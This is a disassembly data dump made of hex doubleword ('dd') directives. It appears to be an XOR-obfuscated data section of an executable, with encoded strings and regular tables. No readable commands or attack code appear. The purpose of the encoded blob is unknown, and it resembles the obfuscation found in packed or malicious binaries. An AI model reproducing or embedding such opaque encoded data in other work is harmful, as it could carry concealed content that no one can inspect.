		dd 0C8DCDDDBh, 0C5C5E8C5h, 4858CAC6h, 14367158h, 1C1E3205h
		dd 14050401h, 1C103F03h, 53583014h, 1E216E58h, 1C3E000Bh
		dd 1D0B0D01h, 584F581Dh, 0D1C6F2B4h, 0C2DAF1D1h, 0DADBC6DDh
		dd 0C0DAD1D9h, 0DDC6C0E7h, 0F5C7D3DAh, 0E3585658h, 878D8AA5h
		dd 90918AA5h, 8F8AA597h, 5458A286h, 97A6E558h, 80918480h
		dd 809190A8h, 4C58A49Dh, 87A0E958h, 859B8C9Dh, 8C828A86h
		dd 8A8CAD8Dh, 8C848C9Bh, 4C589D87h, 0C5EAAC58h,	0C5F8C9C0h
		dd 0C3F8C9C1h, 0D8DFD5FFh, 0C5F8C1C9h, 5558C9C1h, 0B694D358h
		dd 0A1B685A7h, 0BDBCBAA0h, 5892AB96h, 5B185851h, 5E616877h
		dd 597D7471h, 0C7584D58h, 91B3A280h, 0AAB2ABA8h, 0A1A98EA2h
		dd 0A6AAB5A8h, 0A9A8AEB3h, 58505886h, 7C784F1Dh, 71745B79h
		dd 584B5878h, 0ACA19FC8h, 0A9A08BADh, 85A79CBAh, 0A1BCA4BDh
		dd 0ADBCB18Ah, 56585758h, 263B3915h, 10332437h,	2333A3Fh
		dd 58333B3Fh, 4E095849h, 714C7D6Ch, 664A7D60h, 615D6C6Dh
		dd 6D686C7Bh, 53584B58h, 273F261Eh, 272A113Ah, 43C0736h
		dd 1036373Ah, 5821323Bh, 0E5A95851h, 0C5C8CAC6h, 0CCCCDBEFh
		dd 0D7584B58h, 0A3BEB680h, 84A5B891h, 0BBB0B9BEh, 0BDB598B2h
		dd 58A3B4B2h, 5F18584Ah, 77556C7Dh, 7D746D7Ch, 7D74715Eh
		dd 7D757956h, 58535859h, 666F4E0Ah, 4C6F7E6Fh, 4B6F6663h
		dd 0A5585458h, 0E0D1C0F6h, 0D7CAD7D7h, 0C0C1CAE8h, 0E9585158h
		dd 8D8780AFh, 9A8685AAh, 5852588Ch, 7975561Ah, 765B767Bh
		dd 58797576h, 86C1584Ah, 0B482B5A4h, 0AFA4B3B3h, 0B3A995B5h
		dd 88A5A0A4h, 585E58A5h, 7104795Ch, 587D0479h, 0D08C585Fh
		dd 0E8A2A6FCh, 5E58E0E0h, 80F7C58h, 81D1F0Eh, 29585E58h
		dd 4A444C44h, 50585059h, 57522458h, 4A4D5654h, 5F584250h
		dd 7F7C0F58h, 7B61667Dh, 585F5869h, 0B2A8B3C7h,	0B5A2B7B7h
		dd 4E585C58h, 27213A2Fh, 0E0585E58h, 8C8C818Dh,	5D58838Fh
		dd 56572458h, 58404A45h, 3F60585Eh, 5050C13h, 585C5810h
		dd 988F9BFDh, 585C5898h, 0B1BEADDFh, 585E58BBh,	0DDD5DDB0h
		dd 58C0DDD3h, 9EED585Eh, 9D8E9F99h, 585E5894h, 0DDD5DDB0h
		dd 58C4D5C3h, 0E2815852h, 0EDE5F5F3h, 0EDE5AFEDh, 585258EDh
		dd 0D5D3C2A1h, 8FCDCDC5h, 58CDCDC5h, 58C65858h,	7653585Dh
		dd 20760F20h, 0A5585D58h, 80F9D680h, 585C58D6h,	7C530520h
		dd 585C580Ah, 5B024461h, 584C583Dh, 98BFBCECh, 0AF899E83h
		dd 988D899Eh, 9F82A589h, 8F828D98h, 58535889h, 191E1D6Dh
		dd 0E081F02h, 1010943h,	3B585358h, 544F484Bh, 15585E49h
		dd 5857575Fh, 0E883585Eh, 0F5AEF2E8h, 585058FBh, 0E4C89EBBh
		dd 9EC3CFD6h, 584958CEh, 0F0EACD84h, 0E1EAF6E1h, 0FCC1A4F0h
		dd 0F6EBE8F4h, 4858F6E1h, 0B0ABF858h, 0BE8C9DBFh, 9D9C9497h
		dd 8C99A88Ah, 5358B990h, 42592A58h, 1946464Fh, 464E0418h
		dd 58535846h, 636E7506h, 34356A6Ah, 6A6A6228h, 61585958h
		dd 585D583Dh, 0D2D79DB3h, 4E58D2C7h, 5D723158h,	115A5258h
		dd 54525F7Eh, 115E6511h, 455F5E72h, 54445F58h, 0B1585E58h
		dd 0E5E5E4F3h, 4658FFFEh, 160B4E58h, 0F1C071Eh,	1071Ah
		dd 1A0F0A6Eh, 4444440Bh, 6E031A0Fh, 6E00071Eh, 0B0A010Dh
		dd 4B585E58h, 1F0A1F18h, 58580802h, 5C584858h, 45440158h
		dd 5E585548h, 2E2C1E58h, 6B2C303Bh, 0C2585C58h,	0B7F0ECE7h
		dd 0E0585858h, 21585058h
		dd 636C6E62h, 796E636Eh, 1E585858h, 0EB585058h,	0A9A6A4A8h
		dd 0B3A4A9A4h, 65585E58h, 31243136h, 3658262Ch,	675C0958h
		dd 6C656B68h, 29667D29h, 617D7C68h, 73607B66h, 2C03276Ch
		dd 7B79297Ah, 7A6C6A66h, 6E67607Ah, 676C6A29h, 297B6C7Dh
		dd 7C297A60h, 656B6867h, 667D296Ch, 7D7C6829h, 607B6661h
		dd 70296C73h, 297B7C66h, 6D7B686Ah, 277A2C29h, 62684403h
		dd 666A296Ch, 6A6C7B7Bh, 6766607Dh, 6768297Ah, 7B7D296Dh
		dd 6E682970h, 27676068h, 0BE585258h, 0CACDDFF3h, 0DFFDCCDBh
		dd 5C58DACCh, 0ABB4E258h, 5958A3B1h, 583F1F58h,	93C0585Eh
		dd 89948194h, 584D5883h, 2B2B010Bh, 44595B2Bh, 58584E48h
		dd 2B4C4542h, 47424A4Dh, 5E584F4Eh, 0E3E4B758h,	0F4FEE3F6h
		dd 63585858h, 0FA585E58h, 0AEBBAEA9h, 5E58B9B3h, 57573C58h
		dd 444A114Dh, 41585058h, 2D313904h, 3324332Eh, 99585158h
		dd 0D6FAF6DDh, 0FAFCF3FBh, 585658EDh, 0A0A396C2h, 0A6ACAB95h
		dd 0AE81B5ADh, 58B1B1A3h, 58777762h, 0F8012A58h, 97AEF0C3h
		dd 581AFC49h, 0D75291F8h, 195EB861h, 8861C2A6h,	58D4FC49h
		dd 0D75291F8h, 0FF4DF861h, 883DDF6Ch, 5812CA49h, 0F49FF778h
		dd 8AA0315h, 97C0ED68h,	58DAE349h, 96E558F2h, 0CEEADC53h
		dd 42E2ECE9h, 58C4EE48h, 456C58F2h, 5A5C585Fh, 58585858h
		dd 58589858h, 58585858h, 741C7D1Eh, 887E936Bh, 58DBEC49h
		dd 59811798h, 8AA4741h,	97C0ED68h, 58DAE349h, 96E558F2h
		dd 8A9A753h, 97C0ED68h,	58DAE349h, 96E558F2h, 8A9AF53h
		dd 97C0ED68h, 58DAE349h, 96E558F2h, 8AA1853h, 97C0ED68h
		dd 58DAE349h, 96E558F2h, 741C7F53h, 887E936Bh, 58DBEC49h
		dd 59811798h, 93315841h, 9715CDDDh, 5854CE49h, 0B6AC9FD8h
		dd 585858DDh, 58585858h, 58589858h, 58585858h, 544E391Eh
		dd 8895F78Bh, 5866D249h, 0BA911798h, 58585836h,	51h dup(58585858h)
		dd 49F82858h, 2	dup(58585858h),	49F9DC58h, 49F8F458h, 49F8DC58h
		dd 2 dup(58585858h), 49F9F858h,	49F89858h, 12h dup(58585858h)
		dd 49F8B058h, 49F8A058h, 49F94C58h, 2 dup(58585858h), 49F97858h
		dd 49F97458h, 49F91858h, 49F91458h, 49F90058h, 49F93C58h
		dd 49F93458h, 49F92058h, 2 dup(58585858h), 49F8B058h, 49F8A058h
		dd 49F94C58h, 2	dup(58585858h),	49F97858h, 49F97458h, 49F91858h
		dd 49F91458h, 49F90058h, 49F93C58h, 49F93458h, 49F92058h
		dd 2 dup(58585858h), 1D58C358h,	82C3120h, 3D3B372Ah, 58582B2Bh
		dd 1F597C58h, 361D2C3Dh, 372A312Eh, 363D3536h, 2A2C0B2Ch
		dd 2B3F3631h, 58585819h, 0A5A2058h, 360D342Ch, 3C36312Fh
		dd 758D858h, 28373C3Eh,	5858363Dh, 7591758h, 363D2837h
		dd 3E2B3707h, 3C363930h, 58583D34h, 3E5A5558h, 2B37343Bh
		dd 5858583Dh, 7586158h,	31203D3Bh, 5858582Ch, 355A1658h
		dd 37343439h, 5858583Bh, 2A5A3858h, 3D2B3139h, 2B5A3F58h
		dd 2D3A2C3Dh, 5858583Eh, 2B5A2D58h, 283B2A2Ch, 58585821h
		dd 0A1D1358h, 6B141D16h, 343C766Ah, 58585834h, 49F85858h
		dd 2 dup(49F85848h), 0C0A1B48h,	7614141Ch, 5814141Ch, 49F84C58h
		dd 7 dup(49F84C48h), 58585848h,	0Dh dup(58585858h), 58587858h
		dd 58585858h, 58587858h, 58485858h, 58B05858h, 58A85858h
		dd 59745858h, 78h dup(58585858h), 58485858h, 5859B458h
		dd 0D4686958h, 0A568AB68h, 4B695D68h, 79694169h, 0EE697F69h
		dd 0A469B769h, 566A5969h, 7B6A4B6Ah, 666A716Ah,	3A6AEC6Ah
		dd 2D6B336Bh, 0F16BDF6Bh, 0E66BED6Bh, 496B9F6Bh, 696C436Ch
		dd 0D6C1B6Ch, 2B6C076Ch, 0D36C216Ch, 0EB6CC76Ch, 966CE26Ch
		dd 0B06C8D6Ch, 0A66CB76Ch, 4E6D5C6Ch, 6C6D786Dh, 6D1E6Dh
		dd 2D6D076Dh, 0F36DDF6Dh, 8A6D906Dh, 0B46D856Dh, 406DA76Dh
		dd 756E7E6Eh, 1D6E616Eh, 326E156Eh, 226E2C6Eh, 0C66ECF6Eh
		dd 9F6EE06Eh, 0BC6E886Eh, 0A26EB26Eh, 4A6F5C6Eh, 196F406Fh
		dd 0A6F1E6Fh, 3F6F016Fh, 0D86F2C6Fh, 0E96FCD6Fh, 0A86F826Fh
		dd 0A36FAE6Fh, 46605D6Fh, 69607B60h, 1F601860h,	26602C60h
		dd 0EA60C260h, 0B9609C60h, 5560B760h, 79614B61h, 6D617F61h
		dd 0E611D61h, 34610461h, 0D361DC61h, 0F661FC61h, 9B61E161h
		dd 0BF619461h, 0A461A961h, 45625461h, 6F627C62h, 2626662h
		dd 31623862h, 0DB622562h, 0F362F962h, 9162EE62h, 83629762h
		dd 0B362B962h, 5862A262h, 48635263h, 79634F63h,	65636063h
		dd 3631563h, 21633163h,	0D663DE63h, 0FE63CC63h,	0E163F463h
		dd 9163E763h, 0BE63B863h, 5063A863h, 4B645564h,	64647A64h
		dd 2D640C64h, 0D3642264h, 0F964C964h, 0E564EF64h, 80649664h
		dd 0A4648764h, 54655A64h, 47654165h, 60656A65h,	11651B65h
		dd 3A650A65h, 37653165h, 0D9652265h, 0CB65D165h, 0F765F265h
		dd 8865E765h, 0B065B965h, 52665C65h, 46664066h,	6B667166h
		dd 2660866h, 2F662A66h,	0C366DF66h, 0EC66FA66h,	8C669666h
		dd 0BF66B866h, 0AF66A866h, 50675866h, 75675767h, 17676F67h
		dd 3670C67h, 0D2673767h, 0C467CE67h, 0E767E167h, 8E679C67h
		dd 0A367B267h, 58785867h, 5859D058h, 79685A58h,	64687F68h
		dd 4681468h, 2B683568h,	0D168DB68h, 0F168FB68h,	0E468EB68h
		dd 96689B68h, 0AF688C68h, 4E695768h, 61696B69h,	16696669h
		dd 37690769h, 0D7692D69h, 0C669CD69h, 0EA69F469h, 9169E569h
		dd 0B569BB69h, 516A5C69h, 756A416Ah, 1B6A656Ah,	3B6A056Ah
		dd 246A356Ah, 0C96AD36Ah, 0E46AC76Ah, 946A9A6Ah, 5A6ABC6Ah
		dd 7C6B506Bh, 6F6B726Bh, 0A6B646Bh, 2C6B006Bh, 0DF6B226Bh
		dd 0FA6BD46Bh, 9C6BF06Bh, 8F6B926Bh, 0AA6B846Bh, 4C6BA06Bh
		dd 7F6C426Ch, 1A6C746Ch, 46C106Ch, 2F6C3A6Ch, 0C56CD96Ch
		dd 0EE6CF16Ch, 916CE66Ch, 0A06C816Ch, 1B6D4B6Ch, 166D116Dh
		dd 326D3B6Dh, 0D26DDB6Dh, 0F26DFB6Dh, 0B16D9B6Dh, 556E5D6Dh
		dd 7B6E406Eh, 696E726Eh, 36E1D6Eh, 0D96E236Eh, 0FF6EC96Eh
		dd 966EE96Eh, 466F406Eh, 126F656Fh, 326F086Fh, 0CD6FD66Fh
		dd 9F6FF66Fh, 7A6F966Fh, 3C600E60h, 25603760h, 0F8613D60h
		dd 9E61EA61h, 82619461h, 0C662C061h, 95629F62h,	54635C62h
		dd 3630C63h, 23633363h,	0C463D463h, 0EA63F463h,	18639A63h
		dd 4640E64h, 92649C64h,	71655564h, 0D3657765h, 0FC65CC65h
		dd 8765F365h, 0AF65B465h, 7C665265h, 6A667366h,	0C5663666h
		dd 0F266FB66h, 0B8668266h, 0A766A166h, 44674B66h, 25677267h
		dd 0C767DB67h, 9867EE67h, 0A9678867h, 5867A667h, 58685858h
		dd 5859CC58h, 77684158h, 2F683468h, 0A168B668h,	4A695868h
		dd 66697669h, 0A691C69h, 0DA692F69h, 0C369D169h, 0EB69F969h
		dd 93699D69h, 87698169h, 0A169B669h, 466A5B69h,	3C6A716Ah
		dd 206A296Ah, 0CA6ADA6Ah, 4E6AB06Ah, 326B6B6Bh,	0FC6BC56Bh
		dd 766C4C6Bh, 16C6C6Ch,	216C2A6Ch, 0C26CCB6Ch, 926CEC6Ch
		dd 1C6C8E6Ch, 256D126Dh, 4C6E556Dh, 746E7B6Eh, 0DA6E6D6Eh
		dd 716ED16Eh, 186F776Fh, 386F096Fh, 0D96F2D6Fh,	0F86FD76Fh
		dd 0EF6FFE6Fh, 9F6F996Fh, 53605D6Fh, 68604660h,	18606E60h
		dd 3E601E60h, 26602F60h, 0C260CC60h, 0EF60E960h, 96609060h
		dd 5960BD60h, 44614D61h, 32616B61h, 0C9612761h,	9E61C261h
		dd 0AC618E61h, 4C61A361h, 67627562h, 0D621062h,	2C620662h
		dd 0C4622762h, 0E962F062h, 88629B62h, 0B462BB62h, 53635B62h
		dd 4F634963h, 1C637963h, 631263h, 3D630663h, 0C7633463h
		dd 0EC63FF63h, 9B63E263h, 8C639163h, 0AF638263h, 7B644563h
		dd 64646864h, 0A641B64h, 0D0642064h, 0C664D664h, 0E564FC64h
		dd 8E649B64h, 0B464BE64h, 5564A664h, 7B654B65h,	66657265h
		dd 3651C65h, 2A653C65h,	0DF652465h, 0CE65D565h,	0FB65C565h
		dd 0E565EF65h, 95659F65h, 7A658B65h, 19666866h,	0A661F66h
		dd 3D660766h, 0D9663766h, 0E966CB66h, 8866E666h, 4A675166h
		dd 62674267h, 671867h, 29673967h, 0D7672F67h, 5867FC67h
		dd 58185858h, 58598458h, 4B685C58h, 77684168h, 1B686568h
		dd 3F680168h, 0DB683568h, 0FD68CA68h, 8C68F268h, 0B5688768h
		dd 5A68A368h, 77697969h, 7696269h, 0EF69F669h, 49699869h
		dd 3E6A746Ah, 0D06A346Ah, 0F16AD76Ah, 9F6A996Ah, 0AF6A876Ah
		dd 406B536Ah, 7A6B456Bh, 6C6B716Bh, 106B636Bh, 0A6B156Bh
		dd 3D6B076Bh, 806B326Bh, 0B36BBD6Bh, 506C5A6Bh,	706C436Ch
		dd 1D6C666Ch, 3F6C066Ch, 0C96C2C6Ch, 0F76CC66Ch, 926C996Ch
		dd 0B66CBD6Ch, 0A36CAD6Ch, 546D586Ch, 436D4A6Dh, 706D7A6Dh
		dd 116D756Dh, 3D6D066Dh, 0DC6D266Dh, 9F6D996Dh,	1D6DBE6Dh
		dd 0DF6ED96Eh, 0EB6EF06Eh, 856E9F6Eh, 506EBC6Eh, 6A6F726Fh
		dd 0B6F126Fh, 0D96F236Fh, 0CF6FD66Fh, 0E16FFB6Fh, 976FE76Fh
		dd 0AD6FB16Fh, 74604A6Fh, 21601360h, 0E2602760h, 82609E60h
		dd 5960A360h, 71614E61h, 17617761h, 2B610D61h, 0D4612161h
		dd 0C461CD61h, 9261FA61h, 81618861h, 5161A161h,	43624E62h
		dd 72627962h, 65626962h, 0F062FB62h, 9562EB62h,	1C636462h
		dd 3631663h, 32633963h,	26632063h, 0C063C963h, 9963E063h
		dd 0B9639663h, 4C645563h, 7B644264h, 6A647164h,	13646664h
		dd 4640F64h, 0DB643B64h, 0CC64D364h, 0E764FC64h, 0BF648E64h
		dd 5D64B664h, 7D655765h, 6F656A65h, 1B656465h, 0D651665h
		dd 3F653A65h, 21653465h, 0DC652765h, 0C365CD65h, 0E265F265h
		dd 92659B65h, 0B8658265h, 0B765B165h, 4965A765h, 73664066h
		dd 16666466h, 33663D66h, 0CC662D66h, 9966F266h,	0B2669666h
		dd 0A666AF66h, 64676F66h, 3E670867h, 0DF672A67h, 0C267CC67h
		dd 0E967FF67h, 94679D67h, 0BC678067h, 0A367AD67h, 58085867h
		dd 585A3458h, 79684A58h, 0C686F68h, 0F6682968h,	87689A68h
		dd 76697068h, 1A696F69h, 0D691169h, 3C690769h, 0DD692A69h
		dd 0C369C969h, 0E069F469h, 8E699C69h, 0B0698769h, 0A569AE69h
		dd 4B6A5169h, 7E6A796Ah, 3F6A746Ah, 2F6A356Ah, 0C36ACD6Ah
		dd 926AEC6Ah, 0A86ABE6Ah, 596AAF6Ah, 4E6B506Bh,	7E6B446Bh
		dd 626B746Bh, 3D6B186Bh, 0D96B226Bh, 0FE6BC16Bh, 0E86BF36Bh
		dd 986BE16Bh, 8A6B956Bh, 0BF6B8F6Bh, 0A46BB46Bh, 496C596Bh
		dd 7E6C4E6Ch, 636C736Ch, 86C186Ch, 3D6C0D6Ch, 226C326Ch
		dd 0D76C276Ch, 0FC6CCC6Ch, 0E16CF16Ch, 966CE66Ch, 0BB6C8B6Ch
		dd 0A36CB06Ch, 436D4D6Ch, 696D7C6Dh, 196D6F6Dh,	26D0D6Dh
		dd 0DC6D356Dh, 0E46DD36Dh, 0B46D916Dh, 0A46DAA6Dh, 526E5B6Dh
		dd 456E4E6Eh, 6F6E736Eh, 1F6E656Eh, 336E3D6Eh, 0C06ED26Eh
		dd 9E6EC66Eh, 846E8E6Eh, 5E6EA96Eh, 7E6F4C6Fh, 196F636Fh
		dd 0FC6F0A6Fh, 0E16FEC6Fh, 966F916Fh, 0BB6F866Fh, 0A06FAB6Fh
		dd 5560506Fh, 7A604560h, 6F606A60h, 14601F60h, 39600460h
		dd 2E602960h, 0D360DE60h, 0F860C360h, 0ED60E860h, 92609D60h
		dd 87608260h, 0AC60B760h, 51615C60h, 46614161h,	6B617661h
		dd 10611B61h, 5610061h,	2A613561h, 0DF61DA61h, 0C461CF61h
		dd 0E961F461h, 9E619961h, 83618E61h, 0A861B361h, 5D625861h
		dd 42624D62h, 77627262h, 1C626762h, 1620C62h, 36623162h
		dd 0DB622662h, 0C062CB62h, 0F562F062h, 9A62E562h, 8F628A62h
		dd 0B462BF62h, 5962A462h, 4E634963h, 73637E63h,	18636363h
		dd 0D630863h, 32633D63h, 27632263h, 0CC63D763h,	0E063F263h
		dd 9063E663h, 80638A63h, 0B363B963h, 0A263AA63h, 54645F63h
		dd 42644964h, 76647964h, 60646B64h, 13641D64h, 2E640864h
		dd 8964C864h, 86648064h, 7A64BC64h, 62657F65h, 0D8651C65h
		dd 8D659765h, 0B6658665h, 53665B65h, 44664E66h,	0B667E66h
		dd 27660166h, 0FB66C266h, 0E866F166h, 0E566E066h, 89669D66h
		dd 0BE668366h, 0A066A966h, 40674A66h, 75674667h, 1C676D67h
		dd 0C671267h, 31673B67h, 0DA672D67h, 0FC67D167h, 0EC67F267h
		dd 90679A67h, 0BA678D67h, 0AA67B167h, 5867A167h, 58385858h
		dd 585A5058h, 51685B58h, 7B684368h, 63686968h, 0C681F68h
		dd 2C683668h, 0F968DB68h, 0E468EC68h, 80689C68h, 0A0688668h
		dd 50695868h, 47695769h, 2B696769h, 0D5692169h,	0C569CD69h
		dd 0ED69F269h, 9F699869h, 0B3698069h, 426A4A69h, 66A1A6Ah
		dd 266A326Ah, 0CA6ADB6Ah, 0EE6AC26Ah, 936A9A6Ah, 0B26A826Ah
		dd 0A66AB76Ah, 7E6B786Ah, 86B6C6Bh, 376B326Bh, 0F36B266Bh
		dd 9C6BEA6Bh, 0B96B8B6Bh, 5E6BA56Bh, 666C776Ch,	0EC6C306Ch
		dd 806CE36Ch, 576D516Ch, 6B6D786Dh, 0F6D1C6Dh, 216D306Dh
		dd 0F86DC26Dh, 0E86DF16Dh, 906DE56Dh, 0B06D866Dh, 0A26DAB6Dh
		dd 566E516Dh, 7E6E436Eh, 656E756Eh, 116E1A6Eh, 316E046Eh
		dd 236E2D6Eh, 0D66ED16Eh, 0F36EC76Eh, 9A6EEA6Eh, 8E6E916Eh
		dd 0B66EB06Eh, 566EA46Eh, 786F4F6Fh, 616F7F6Fh,	0B6F676Fh
		dd 326F026Fh, 0DC6F266Fh, 0F46FFE6Fh, 886F916Fh, 516F876Fh
		dd 42605760h, 73607860h, 65606F60h, 4600860h, 0D8603460h
		dd 0CD60DE60h, 0FE60C360h, 0E460F760h, 88609260h, 0B3608360h
		dd 5A60AD60h, 44615561h, 69617A61h, 1D616061h, 6610A61h
		dd 37613C61h, 0D9612061h, 0FC61C661h, 9D61E661h, 0B1618661h
		dd 40625261h, 6D627A62h, 4626362h, 36623D62h, 0D6622F62h
		dd 0F662CD62h, 9662ED62h, 0B6628D62h, 43634B62h, 10636963h
		dd 2630C63h, 2F633463h,	0D563D963h, 0EA63C763h,	81639663h
		dd 4E638763h, 69644564h, 17641E64h, 7640164h, 26642D64h
		dd 0C064D764h, 0EB64F264h, 9E64E464h, 86648A64h, 0A264BF64h
		dd 4B655164h, 3A657A65h, 0E4652765h, 0B5658865h, 2667465h
		dd 36663066h, 89662E66h, 87668166h, 0B766BD66h,	4866AD66h
		dd 75677C67h, 18676267h, 31671D67h, 0D067D967h,	0C367D667h
		dd 0F767FC67h, 8B67ED67h, 0BF678267h, 5867B567h, 58285858h
		dd 58598458h, 41685358h, 11687B68h, 2D681768h, 0B668EB68h
		dd 6568AD68h, 0CB690F69h, 0E169FE69h, 8E698869h, 0A969B369h
		dd 786A5E69h, 0E6A7F6Ah, 0C76AD46Ah, 0EF6AF46Ah, 8E6A9B6Ah
		dd 0A96AB36Ah, 5B6AAE6Ah, 566B516Bh, 796B436Bh,	6B6B7E6Bh
		dd 666B616Bh, 0DA6B246Bh, 0FF6BCB6Bh, 0E56BF56Bh, 8D6B9B6Bh
		dd 0AD6BB66Bh, 746C506Bh, 146C6A6Ch, 3A6C0A6Ch,	256C2F6Ch
		dd 0F76CF16Ch, 926C9B6Ch, 0BE6C866Ch, 1B6D636Ch, 0F6D156Dh
		dd 346D3E6Dh, 0DC6D2D6Dh, 0CE6DC86Dh, 0F36DFC6Dh, 9B6DE36Dh
		dd 0AE6DBA6Dh, 596DA36Dh, 466E5F6Eh, 636E6E6Eh,	0B6E166Eh
		dd 2D6E066Eh, 0E86EF36Eh, 936E9B6Eh, 5D6E896Eh,	456F526Fh
		dd 736F7D6Fh, 176F1A6Fh, 0C86F046Fh, 0F66FCE6Fh, 996FE06Fh
		dd 946F9E6Fh, 836F8E6Fh, 0A76FB16Fh, 4160576Fh,	1C607C60h
		dd 33600360h, 0CC602960h, 8A60EB60h, 10616760h,	35611661h
		dd 0F561D061h, 9E61E761h
		dd 86619661h, 7461A161h, 63626A62h, 13621A62h, 2D620662h
		dd 0D0622362h, 0CE62D762h, 9B62F662h, 0A1628C62h, 6F635862h
		dd 0D8632263h, 0F663CF63h, 84638E63h, 30645963h, 85643764h
		dd 0A664B664h, 44655564h, 72657C65h, 64656865h,	7650E65h
		dd 2E653165h, 0C865DB65h, 0F865C065h, 0E265FF65h, 97659A65h
		dd 87658065h, 0AA65B565h, 5B65A565h, 44664966h,	7F667966h
		dd 64666866h, 11661966h, 661766h, 35660766h, 24662B66h
		dd 0D266DC66h, 0C266CD66h, 0EA66FC66h, 9F669866h, 0B9668E66h
		dd 0B666BF66h, 5066A766h, 69674967h, 11676567h,	4671667h
		dd 2F673B67h, 0CD67D167h, 0F867C267h, 8C67E667h, 0A8678267h
		dd 5867AE67h, 58D85858h, 585A4858h, 50685A58h, 78685668h
		dd 1A686868h, 0DB681168h, 0FE68CB68h, 9D68E168h, 5168BB68h
		dd 7C694E69h, 6A697269h, 3B690469h, 0DB692069h,	0E969F369h
		dd 88699D69h, 0A569AF69h, 416A5169h, 716A796Ah,	126A686Ah
		dd 226A286Ah, 0CC6ADE6Ah, 0F26AFB6Ah, 806A8A6Ah, 0B36ABA6Ah
		dd 5B6AAC6Ah, 406B516Bh, 1C6B796Bh, 26B166Bh, 206B306Bh
		dd 0F26BC66Bh, 0E56BE86Bh, 886B9F6Bh, 0B56B836Bh, 4A6BAF6Bh
		dd 1A6C606Ch, 66C086Ch,	0C06C286Ch, 0F36CC76Ch,	986CEF6Ch
		dd 856C936Ch, 576D5B6Ch, 716D436Dh, 1C6D686Dh, 286D156Dh
		dd 0DB6D226Dh, 0C06DD66Dh, 0EC6DFA6Dh, 9A6DE46Dh, 5B6D856Dh
		dd 4B6E546Eh, 766E476Eh, 1E6E6C6Eh, 2A6E156Eh, 0DC6E236Eh
		dd 0C16ED26Eh, 0F66EC76Eh, 916E986Eh, 0AE6EB46Eh, 546F5A6Eh
		dd 746F426Fh, 26F6D6Fh,	346F396Fh, 266F2D6Fh, 0C96FD06Fh
		dd 0F66FC16Fh, 9D6FEC6Fh, 836F936Fh, 0A96FB96Fh, 55605F6Fh
		dd 76604A60h, 15606160h, 5600A60h, 0E5603060h, 85609B60h
		dd 5060A860h, 44615661h, 12611B61h, 20613561h, 95619E61h
		dd 40618D61h, 68627862h, 0B621562h, 26623C62h, 0D462DD62h
		dd 0CF62CA62h, 0F562FF62h, 9F62E262h, 85629562h, 0B162BB62h
		dd 0A762AD62h, 41635E62h, 73637E63h, 6F636863h,	11631A63h
		dd 3630E63h, 33633A63h,	27632A63h, 0D263DD63h, 0EE63FB63h
		dd 83638B63h, 0B763BF63h, 73644263h, 35646B64h,	0EE64F164h
		dd 9564E564h, 64B464h, 0DF652965h, 0FE65D565h, 9A65E465h
		dd 8D659765h, 0A965B165h, 4D665265h, 7F664666h,	660A66h
		dd 36660766h, 0DD662C66h, 0FF66D366h, 88669266h, 84668D66h
		dd 0AA66B466h, 5366A666h, 43674D67h, 74677E67h,	12676E67h
		dd 2670867h, 0D9673567h, 0F267FC67h, 0E567F767h, 97679B67h
		dd 0B9678367h, 0A967B367h, 5867A567h, 58C85858h, 585A1858h
		dd 41685D58h, 71684768h, 8686468h, 21682B68h, 0D5682668h
		dd 0EE68CB68h, 9768E568h, 7A694468h, 9469CD69h,	85698069h
		dd 0A069B569h, 486A5269h, 476A426Ah, 1C6A666Ah,	66A006Ah
		dd 236A306Ah, 0FB6AD76Ah, 0EE6AF16Ah, 8D6A976Ah, 0A86AB16Ah
		dd 506B5A6Ah, 616B466Bh, 0D6B676Bh, 2E6B286Bh, 0FF6BD46Bh
		dd 986BF56Bh, 0B96B836Bh, 0AB6BB16Bh, 786C416Bh, 186C636Ch
		dd 396C0B6Ch, 0D46CDC6Ch, 0E76CCB6Ch, 0BF6CB96Ch, 0A26CB46Ch
		dd 4F6D596Ch, 766D7B6Dh, 196D606Dh, 0A6D1F6Dh, 316D006Dh
		dd 216D2B6Dh, 0FD6DDC6Dh, 0E66DE06Dh, 0B86D806Dh, 0A96DB36Dh
		dd 5F6DA36Dh, 476E486Eh, 186E756Eh, 16E1F6Eh, 376E3D6Eh
		dd 0D66ED06Eh, 0EE6EC16Eh, 0A06E8E6Eh, 546F5A6Eh, 746F4B6Fh
		dd 16F6A6Fh, 2B6F316Fh,	0D86F216Fh, 0C26FD56Fh,	0EA6FFD6Fh
		dd 8D6FE06Fh, 0BF6FBA6Fh, 0AA6FB46Fh, 5A6FA36Fh, 4C605760h
		dd 7D604160h, 68607360h, 19606D60h, 14601F60h, 5600960h
		dd 30603B60h, 21603560h, 0DC602760h, 0CD60D160h, 0F860C360h
		dd 0EC60FD60h, 0E760E260h, 8C609F60h, 0B8608160h, 0A860B160h
		dd 5A60A560h, 4F615F61h, 74614461h, 19616961h, 0E611E61h
		dd 33610361h, 0D8612861h, 0CD61DD61h, 0F261C261h, 0E761F761h
		dd 8C619C61h, 0B1618161h, 0A661B661h, 4B625B61h, 70624062h
		dd 65627562h, 0A621A62h, 3F620F62h, 24623462h, 0C962D962h
		dd 0FE62CE62h, 0E362F362h, 88629862h, 0BD628D62h, 5862B262h
		dd 6F637163h, 0D631763h, 28633D63h, 0FA63CD63h,	8F638963h
		dd 0A163BB63h, 4C645F63h, 60647264h, 14646664h,	2B640A64h
		dd 0F564C764h, 9D64EB64h, 0BC649464h, 5364A964h, 69654965h
		dd 1A656F65h, 34653C65h, 0D1652465h, 0CE65C865h, 8965E265h
		dd 0B565BF65h, 55665965h, 79664A66h, 666B66h, 0F4663C66h
		dd 8866E066h, 0B0668266h, 0A166B666h, 56675866h, 72674467h
		dd 14676067h, 3B670B67h, 2D673167h, 0D1672367h,	0C667CC67h
		dd 0B067BB67h, 0A467B667h, 58F85867h, 585A2858h, 44684858h
		dd 66686168h, 39680E68h, 0DF682368h, 0EE68E968h, 96689168h
		dd 5E68B668h, 41694B69h, 76697F69h, 38690A69h, 22693E69h
		dd 0C469C869h, 0E569E869h, 8E699769h, 5769AB69h, 0C6A6D6Ah
		dd 346A3B6Ah, 0D96A2C6Ah, 0D36ADE6Ah, 0C36ACC6Ah, 0F56AF06Ah
		dd 0E76AEA6Ah, 926A9D6Ah, 536AA56Ah, 716B406Bh,	666B6E6Bh
		dd 296B3B6Bh, 0D96B2E6Bh, 0CA6BD46Bh, 9B6BE66Bh, 0B26B846Bh
		dd 5A6BA36Bh, 796C4B6Ch, 6B6C7E6Ch, 0A6C1A6Ch, 0C46CD26Ch
		dd 986CE86Ch, 0A76CA06Ch, 7F6D4E6Ch, 626D756Dh,	126D186Dh
